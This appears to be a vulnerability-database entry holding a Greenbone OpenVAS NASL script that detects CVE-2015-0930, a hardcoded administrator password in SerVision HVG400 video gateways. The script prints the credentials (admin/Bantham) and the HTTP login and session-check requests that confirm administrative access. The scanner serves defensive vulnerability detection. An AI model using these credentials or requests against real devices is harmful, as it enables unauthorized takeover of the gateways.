10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
6.7 Medium
AI Score
Confidence
Low
0.004 Low
EPSS
Percentile
75.1%
SerVision HVG is using known default credentials.
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.807072");
script_version("2023-07-20T05:05:17+0000");
script_cve_id("CVE-2015-0930");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"last_modification", value:"2023-07-20 05:05:17 +0000 (Thu, 20 Jul 2023)");
script_tag(name:"creation_date", value:"2016-02-16 16:15:07 +0530 (Tue, 16 Feb 2016)");
script_tag(name:"qod_type", value:"remote_vul");
script_name("SerVision HVG Default Credentials (HTTP)");
script_tag(name:"summary", value:"SerVision HVG is using known default credentials.");
script_tag(name:"vuldetect", value:"Send a crafted request via HTTP POST and
check whether it is able to bypass authentication or not.");
script_tag(name:"insight", value:"The flaw is due to SerVision HVG contains
a hardcoded password that enables a user to log into the web interface with
administrative rights.");
script_tag(name:"impact", value:"Successful exploitation will allow remote
unauthenticated users to log into the web interface with administrative
rights and gain administrative privileges on the device.");
script_tag(name:"affected", value:"SerVision HVG400 Video Gateway devices with
firmware before 2.2.26a100");
script_tag(name:"solution", value:"Upgrade to SerVision HVG Video Gateway
devices with firmware 2.2.26a100 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_xref(name:"URL", value:"https://www.kb.cert.org/vuls/id/522460");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/72433");
script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2016/Feb/57");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2016 Greenbone AG");
script_family("Default Accounts");
script_dependencies("find_service.nasl", "httpver.nasl", "gb_default_credentials_options.nasl", "global_settings.nasl");
script_require_ports("Services/www", 8080);
script_exclude_keys("Settings/disable_cgi_scanning", "default_credentials/disable_default_account_checks");
exit(0);
}
if(get_kb_item("default_credentials/disable_default_account_checks"))
exit(0);
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
hvgPort = http_get_port(default:8080);
url = "/index.htm";
buf = http_get_cache(item:url, port:hvgPort);
if('user_username' >< buf && 'user_password' >< buf)
{
host = http_host_name(port:hvgPort);
postData = string('user_username=admin&user_password=Bantham&LOADED=1&TO_LOAD=index.htm');
req = string("POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", strlen(postData), "\r\n",
"\r\n", postData, "\r\n");
res = http_send_recv(port:hvgPort, data:req);
cookie = eregmatch( pattern:"Set-Cookie: ([0-9a-zA-Z=]+);", string:res );
if(!cookie[1]){
exit(0);
}
if (res && res =~ "^HTTP\/1\.[01] 201")
{
req = string("GET /top.htm HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Cookie: ", cookie[1], "\r\n",
"Connection: keep-alive\r\n\r\n");
res = http_keepalive_send_recv(port:hvgPort, data:req);
if(res =~ "^HTTP\/1\.[01] 200" && "Logout" >< res)
{
report = http_report_vuln_url( port:hvgPort, url:url );
security_message(port:hvgPort, data:report);
exit(0);
}
}
}